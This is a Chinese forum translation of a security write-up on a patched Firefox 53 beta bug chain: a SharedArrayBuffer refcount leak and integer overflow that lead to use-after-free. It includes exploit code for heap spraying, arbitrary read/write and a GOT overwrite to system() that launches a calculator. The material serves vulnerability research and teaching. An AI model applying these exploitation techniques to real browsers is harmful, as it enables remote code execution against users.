首页
社区
课程
招聘
[翻译]Firefox UAF漏洞利用——基于shared array buffers
2017-8-1 22:53 5248

[翻译]Firefox UAF漏洞利用——基于shared array buffers

2017-8-1 22:53
5248

原文地址:https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak

firefox-53b0下载地址:

https://download-installer.cdn.mozilla.net/pub/firefox/releases/53.0b1/linux-x86_64/en-US/firefox-53.0b1.tar.bz2

firefox-53b0-source源码下载地址:

http://ftp.mozilla.org/pub/firefox/candidates/53.0b1-candidates/build1/source/firefox-53.0b1.source.tar.xz


*******************************************************************************

*               Firefox UAF漏洞利用——基于shared array buffers                 *

*******************************************************************************


这篇博客分析了操作shared array buffers过程中的一处指针解引用。通过和一处溢出检

测绕过结合,可以最终实现远程代码执行。这个问题由saelo发现,你可以在Firefox的Bug

zilla(https://bugzilla.mozilla.org/show_bug.cgi?id=1352681)中找到相关的报告。


这篇文档将分成如下几节:


    * 背景介绍

    * 漏洞分析

    * 漏洞利用

    * 总结


我们的exploit基于Linux系统上的Firefox Beta 53编写。需要指出的是,正式发行的Fire

fox版本不受这个漏洞影响,因为由于这个漏洞,shared array buffers已经在Firefox 52

之后的版本中被禁用了。完整的exploit可以在这里(https://github.com/phoenhex/file

s/tree/master/exploits/share-with-care)找到。


=============

 1. 背景介绍

=============


要理解这个漏洞和它的利用手法需要一些前置知识,包括结构化克隆算法(structured cl

one algorithm,后文缩写为SCA)和shared array buffers, 本节会对它们做简要介绍。


--------------------------------

 1.1 Structured Clone Algorithm

--------------------------------


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[引用]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

引用自Mozilla Develop Network官方文档:

    结构化克隆算法SCA是HTML5规范为复杂javascript对象序列化而定义的新算法。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


SCA被用于Spidermonkey引擎内部的序列化,以便在不同上下文之间传递对象。与json相反

,它可以解析循环引用。在浏览器中,postMessage函数使用了序列化和反序列化的功能。


postMessage函数主要在以下两个场景使用:


    * 通过windows.postMessage()进行跨域/跨窗口的通信

    * 与Web Worker通信,这是一种便捷的并行执行javascript代码的方式


与Web Worker通信的一个简单例子,如下所示:


    var w = new Worker('worker_script.js');

    var obj = { msg: "Hello world!" };

    // send obj to Worker 

    w.postMessage(obj);


工作脚本“worker_script.js”可以注册一个onmessage监听器来接收主线程发送的obj。


    this.onmessage = function(msg) {

        var obj = msg;

        // do something with obj now

    }


跨窗口间的通信也采用类似的流程。这两个场景中,接收脚本在完全不同的全局上下文中

执行,因此无法访问发送方上下文的对象。因此,我们需要某种方法,在发送方和接收脚

本之间传输对象,以及在接收脚本的上下文中重建对象。为了实现这一点,SCA在发送方的

上下文中序列化obj,并在接收脚本的上下文中对其反序列化,从而创建对象的副本。


我们可以在源码路径“js/src/vm/StructuredClone.cpp”中找到SCA的代码。代码中定义了两个重要的类:JSStructuredCloneReader和JSStructuredCloneWriter。JSStructuredCloneReader的方法处理在接收线程的上下文中反序列化对象,而JSStructuredCloneWriter的方法处理发送线程上下文中对象的序列化。


处理对象序列化的关键函数是JSStructuredCloneWriter::startWrite(),关键逻辑如下所示:


    bool

    JSStructuredCloneWriter::startWrite(HandleValue v)

    {

        if (v.isString()) {

            return writeString(SCTAG_STRING, v.toString());

        } else if (v.isInt32()) {

            return out.writePair(SCTAG_INT32, v.toInt32());


        [...]


        } else if (v.isObject()) {


            [...]


            } else if (JS_IsTypedArrayObject(obj)) {

                return writeTypedArray(obj);

            } else if (JS_IsDataViewObject(obj)) {

                return writeDataView(obj);

            } else if (JS_IsArrayBufferObject(obj)

                        && JS_ArrayBufferHasData(obj)) {

                return writeArrayBuffer(obj);

            } else if (JS_IsSharedArrayBufferObject(obj)) {

                return writeSharedArrayBuffer(obj);     //  [1]

            } else if (cls == ESClass::Object) {

                return traverseObject(obj);


            [...]


        }


        return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);

    }


这个函数会根据对象的类型执行不同的操作,如果是基本类型对象,就直接将它序列化,

否则调用相关函数以根据对象类型执行进一步的序列化操作。这些函数会确保对象的任何

属性或者数组的所有成员都被递归的序列化。我们感兴趣的地方是当对象是一个SharedArr

ayBufferObject时,这个函数会最终调用writeSharedArrayBuffer()函数(我们标注为[1]

的位置)。


函数的最后,如果传入的对象既不是基本类型也不是可序列化的对象,它将简单地抛出错误。反序列化的处理流程与上述过程类似,它将以序列化的对象为输入,创建新对象,并为其分配内存。


--------------------------

 1.2 Shared Array Buffers 

--------------------------


shared array buffer提供了一种创建共享内存的方式,可以在不同的上下文中被传递或访

问。它由继承自NativeObject类(NativeObject类是大多数Javascript对象的基类)的Sha

redArrayBufferObject C++类实现。SharedArrayBufferObject具有如下的抽象表示(如果

你查看源码,可能会发现源码中并没有这样明确的定义,为了读者能更好的理解下文的内

存布局,此处做了简化的介绍):


    class SharedArrayBufferObject {


       js::GCPtrObjectGroup group_;


       GCPtrShape shape_;                   // used for storing property names

       js::HeapSlot* slots_;                // used to store named properties

       js::HeapSlot* elements_;             // used to store dense elements

       js::SharedArrayRawBuffer* rawbuf;    // pointer to the shared memory

    }


rawbuf是一个指向SharedArrayRawBuffer对象的指针,该对象保存底层内存缓冲区。当通

过postMessage()发送时,SharedArrayBufferObject将被重新创建为接收工作者上下文

中的新对象。另一方面,SharedArrayRawBuffers在不同的上下文之间共享。 因此,单个S

haredArrayBufferObject的所有副本的rawbuf属性都指向相同的SharedArrayRawBuffer对

象。为了内存管理的目的,SharedArrayRawBuffer包含一个引用计数器refcount_:


    class SharedArrayRawBuffer

    {


        mozilla::Atomic<uint32_t, mozilla::ReleaseAcquire> refcount_;


        uint32_t length


        bool preparedForAsmJS;


        [...]

    }


引用计数器refcount_跟踪一共有多少个SharedArrayBufferObject指向它。在JSStructure

dCloneWriter::writeSharedArrayBuffer()函数内,序列化SharedArrayBufferObject时

,它会增加,在SharedArrayBufferObject的析构函数中它会递减:


    bool

    JSStructuredCloneWriter::writeSharedArrayBuffer(HandleObject obj)

    {

        if (!cloneDataPolicy.isSharedArrayBufferAllowed()) {

            JS_ReportErrorNumberASCII(context(),

                                      GetErrorMessage,

                                      nullptr, 

                                      JSMSG_SC_NOT_CLONABLE,

                                      "SharedArrayBuffer");

            return false;

        }


        Rooted<SharedArrayBufferObject*> sharedArrayBuffer(context(),

                        &CheckedUnwrap(obj)->as<SharedArrayBufferObject>());

        SharedArrayRawBuffer* rawbuf = sharedArrayBuffer->rawBufferObject();


        // Avoids a race condition where the parent thread frees the buffer

        // before the child has accepted the transferable.

        rawbuf->addReference();


        intptr_t p = reinterpret_cast<intptr_t>(rawbuf);

        return out.writePair(SCTAG_SHARED_ARRAY_BUFFER_OBJECT,

                             static_cast<uint32_t>(sizeof(p))) &&

                             out.writeBytes(&p, sizeof(p));

    }


    haredArrayBufferObject::Finalize(FreeOp* fop, JSObject* obj)

        MOZ_ASSERT(fop->maybeOffMainThread());


        SharedArrayBufferObject& buf = obj->as<SharedArrayBufferObject>();


        // Detect the case of failure during SharedArrayBufferObject creation,

        // which causes a SharedArrayRawBuffer to never be attached.

        Value v = buf.getReservedSlot(RAWBUF_SLOT);

        if (!v.isUndefined()) {

            // refcount_ decremented here

            buf.rawBufferObject()->dropReference();

            buf.dropRawBuffer();

        }

    }


SharedArrayRawBuffer::dropReference()将在随后检查引用计数是否为零,如果满足条件就释放SharedArrayRawBuffer占用的内存。


=============

 2. 漏洞分析

=============


我们发现了两处漏洞,它们单拿出来无法被利用,但组合在一起可以实现远程代码执行。


-------------------------------------

 2.1 refcount_引用计数的整数溢出漏洞

-------------------------------------


上文提到的SharedArrayRawBuffer对象的属性refcount_,没有正确的进行溢出检查:


    void

    SharedArrayRawBuffer::addReference()

    {

       MOZ_ASSERT(this->refcount_ > 0);

       ++this->refcount_; // Atomic.

    }


可以看到代码只是简单的增加refcount_的值,并没有校验是否发生溢出,当整数溢出时,

refcount_会变为0,将触发异常。回想一下,refcount_被定义为一个uint32_t整数,这意

味着上面的代码路径必须被触发232次以便溢出。这里的主要问题是每次调用postMessage

()将创建一个SharedArrayBufferObject的副本,并分配0x20字节的内存。Firefox的堆大

小的上限为4GB,上述的溢出将需要128GB,远远超过堆大小的上限,这使得这个整数溢出根本无法触发,更不可利用。


-------------------------

 2.2 SCA中的引用计数泄漏

-------------------------


不幸的是,还有一个bug让我们得以绕过内存限制。回想以下postMessage()函数,它首先

序列化对象,然后反序列化对象。对象的副本在反序列化过程中创建,但refcount_引用计

数在序列化过程中增加。如果我们能使postMessage()在序列化SharedArrayBufferObject

之后,在反序列化之前失败,那么就可以实现refcount_增加,但不创建SharedArrayBufferObject副本。


回顾序列化过程的处理逻辑,有一个非常简单的方法,让它在反序列化之前失败:


    bool

    JSStructuredCloneWriter::startWrite(HandleValue v)

    {

        if (v.isString()) {

            return writeString(SCTAG_STRING, v.toString());

        } else if (v.isInt32()) {

            return out.writePair(SCTAG_INT32, v.toInt32());


        [...]


        } else if (v.isObject()) {


            [...]


        }


        return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);

    }


如果要序列化的对象既不是基本类型也不是SCA支持的对象,则序列化将简单地抛出一个JS

_SCERR_UNSUPPORTED_TYPE错误,并且反序列化(包括内存分配)永远不会发生!这是一个

简单的PoC,它将增加refcount_,而不会实际复制SharedArrayBuffer:


    var w = new Worker('example.js');

    // refcount_ of its SharedArrayRawBuffer is 1 here

    var sab = new SharedArrayBuffer(0x100);


    try {

        // serializes sab, but then: error !

        w.postMessage([sab, function() {}]);

    } catch (e) {

        // ignore serialization errors :)

    }


包含一个SharedArrayBuffer和一个函数的数组被序列化。SCA将首先序列化数组,然后递

归序列化SharedArrayBuffer(从而增加其原始缓冲区的refcount_),最后是该函数。但

是,SCA不支持函数序列化,所以抛出错误,不允许反序列化过程创建对象的副本。现在re

fcount_是2,但只有一个SharedArrayBuffer实际上指向原始缓冲区。利用这个引用计数泄漏的bug可以实现整数溢出,但不实际分配任何额外的内存。


=============

 3. 漏洞利用

=============


虽然绕过了内存限制,触发整数溢出仍然需要232的postMessage()调用。在正常的PC上

,这可能需要执行几个小时。为了在合理的执行时间内实现漏洞利用,我们需要找到一种

方法更快地触发这个漏洞。


--------------

 3.1 提升性能

--------------


减少对postMessage()函数调用的一个简单方法是每次调用序列化多个SharedArrayBufferO

bject对象:


    w.postMessage([sab, sab, sab, ..., sab, function() {}]);


不幸的是(对我们这些想做坏事的人而言),SCA支持反向引用,因此上述做法不会真正的

增加refcount_的值,每一个sab会被序列化为一个指向第一个sab的反向引用。因此,要想

使这种方法奏效,我们需要创建不同的sab副本,我们可以使用postMessage()来创建:


    // 以下代码在Scratchpad测试通过,可在Browser console查看输出结果

    var SAB_SIZE = 0x1000000;

    var sab = new SharedArrayBuffer(SAB_SIZE);

    var copies = [ sab ];

    window.onmessage = function (msg) {

        copies = copies.concat(msg.data);

        // copies array now contains [ sab, sab2 ]

        // where sab2 is a copy of sab

    };


    window.postMessage(copies, "*");

    console.log(copies.toString());


我们声明一个包含单个sab的数组,使用postMessage()函数将它发送给当前脚本的上下文

。当我们收到这个消息(也就是数组的副本),该副本将被添加到copies数组中。现在有

两个不同的副本指向同一个SharedArrayRawBuffer对象了。通过以上操作反复拷贝数组,

我们将获取大量有效副本。在本次漏洞利用中,我们创建了0x10000份副本(需要调用16

次postMessage()函数)。然后我们使用这些副本来触发引用泄漏,此时,postMessage()

函数需要调用的次数就降到了232/0x10000 = 65536次。我们还可以通过使用多个Web

Worker来并行执行我们的利用代码,最大化的利用多核的处理能力,从而获得进一步的性

能提升。每个Web Worker会接收一个长度为0x10000的数组缓冲区副本,然后在一个简单的

循环中执行引用泄漏。


    for (var i = 0; i < how_many; i++) {

        try {

            postMessage([sabs, function(){}]);

        } catch (e) { }

    }


如果Web Worker执行结束,那么refcount_应该已经溢出,且值为1。通过删除一个sab,re

fcount_将变为0,那么对应的SharedRawBuffer对象将在下一次垃圾收集期间被释放。在我

们的利用代码中,一个SharedArrayBufferObject被垃圾回收,于是调用了dropReference(

)函数,于是引用计数递减为0,并触发对SharedRawBuffer对象的释放。


    // free one worker

    delete copies[1];


    // trigger majorGC,

    // this will decrement `refcount_` and thus free the raw buffer

    do_gc();


你可以在这里找到do_gc()的概念实现:https://github.com/saelo/foxpwn/blob/master/

code.js#L297。


此时,SharedArrayRawBuffer被释放,但是对它的引用仍然存储在sabs中,允许对已释放

的内存进行读/写,这就导致了一个UAF(use-after-free)漏洞。


-----------------------------

 3.2 将UAF转变为任意地址读写

-----------------------------


由于我们还保留有对已释放内存的引用,我们可以分配大量的对象,以便将目标对象分配

我们仍然持有引用的内存。需要指出一点,内存分配器将通过mmap系统调用申请更多的内

存,SharedArrayRawBuffer调用munmap系统调用接触映射后才会返回给操作系统。我们可

以使用ArrayBuffer对象,来实现将UAF漏洞转换为任意地址读写,因为ArrayBuffer对象包

含指向数组内容所在内存区域的指针,如果我们在之前释放的内存区域中分配一个ArrayBu

ffer对象,则我们可以通过覆盖该指针以指向任何我们想要的内存地址。


为此,我们分配了大量大小为0x60的ArrayBuffer对象。选择0x60这个大小,是因为这是让

ArrayBuffer指向的缓冲区直接排布在ArrayBuffer对象首部之后的最大大小。通过标记mag

ic值0x13371337,然后查找该值第一次出现的位置,我们可以定位ArrayBuffer对象的确切

地址。


    var ALLOCS = 0x100000;

    buffers = []

    for (i=0; i<ALLOCS; i++) {

        // store reference to the buffer

        buffers[i] = new ArrayBuffer(0x60);

        // mark the buffer with a magic value

        view = new Uint32Array(buffers[i]);

        view[0] = 0x13371337,

    }


目前,我们应该已经将一些ArrayBuffer对象分配到我们先前已经释放的内存区域中。我们

使用先前的引用,查找magic值0x13371337。一旦我们找到,记录它的偏移,并更新它的值

为0x13381338。


    // sab is the reference to one of the SharedArrayBuffer

    var sab_view = new Uint32Array(sab);


    //look for first buffer that is allocated over our sab memory and mark it

    for (i=0; i < SAB_SIZE/32; i++) {


        // check for the magic value

        if (sab_view[i] == 0x13371337) {

            sab_view[i] = 0x13381338;

            ptr_overwrite_idx = i;          // save the offset

            break;

        }

    }


然后我们遍历所有的ArrayBuffer对象,寻找magic值0x13381338,从而定位我们刚才找到

的那个ArrayBuffer对象。


    // look for the index of the marked buffer

    for (i = 0; i < ALLOCS; i++) {

        view = new Uint32Array(buffers[i]);

        if (view[0] == 0x13381338) {

            // save the index of the ArrayBuffer

            ptr_access_idx = i;

            break;

        }

    }


buffers[ptr_access_idx]就是受我们控制的ArrayBuffer对象,我们可以通过操作sab_vie

w[ptr_overwrite_idx](需要增加或减少一定的偏移)来修改它的内存空间。


上文提到,数组的内容位于数组首部之后,这意味着数组的首部从sab_view[ptr_overwrit

e_idx-16]开始。因此,可以通过写入sab_view[ptr_overwrite_idx-8]和sab_view[ptr_ov

erwrite_idx-7](将64位指针当作两个32位值)来覆盖指向数组缓冲区的指针。一旦指针

被覆盖,就可以在buffer[ptr_access_idx][0]读取或写入一个32位值。


----------------------

 3.3 实现任意代码执行

----------------------


实现了任意读和任意写之后,我们需要找一种方法去控制RIP。因为libxul.so(包含了大部

分浏览器代码以及Spidermonkey的动态链接库),并没有开启完全的RELRO保护,我们可以

通过覆盖全局偏移表(GOT)来劫持控制流。


我们首先需要泄漏libxul.so在内存中的地址。我们可以通过泄漏任意一个内置函数的地址

,比如Date.now()函数。浏览器内部函数用JSFunction对象表示,该对象中存储了函数真

正实现的地址。为了泄漏函数的地址,我们可以把函数设置为ArrayBuffer对象的一个属性

,以利用我们对ArrayBuffer对象的任意地址读写。我们不会详细讲解对象属性的内存布局

,因为已经有很好的Phrack Paper讲解这个问题了(http://phrack.org/issues/69/14.htm

l)。我们已经有libxul.so动态库内部函数的地址了,我们可以使用硬编码的偏移来得到GO

T的地址。


最后,我们用libc的system函数地址覆盖了一个内置函数地址(也是从libxul.so泄漏的,

细节可以参考我们的利用代码)。在这个漏洞的利用中,我们调用了Uint8Array.copyWith

in()函数,它在一个受我们控制的字符串上依次调用memmove,因此覆盖memmove@GOT将会

执行system()函数:


    var target = new Uint8Array(100);

    var cmd = "/usr/bin/gnome-calculator &";


    for (var i = 0; i < cmd.length; i++) {

        target[i] = cmd.charCodeAt(i);

    }

    target[cmd.length] = 0;


    memmove_backup = memory.read(memmove_got);

    memory.write(memmove_got, system_libc);

    target.copyWithin(0, 1);                // executes system(cmd);

    memory.write(memmove_got, memmove_backup);


以上的利用技术,受saelo的文章《exploit for the feuerfuchs challenge from the 33C3 CTF》的启发。


最终我们实现了终极目标,弹计算器。


=========

 4. 总结 

=========


整数溢出漏洞的修复是非常直接的,并已在commit d4b0fe7948中实现。引用泄漏漏洞在co

mmit c86b9cb593中被修复。


保守估计,在发布版本中触发溢出需要4个小时。当然使用多个Web Work加速,在8核处理

器的主机上可以在6~7分钟内弹出计算器。




[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回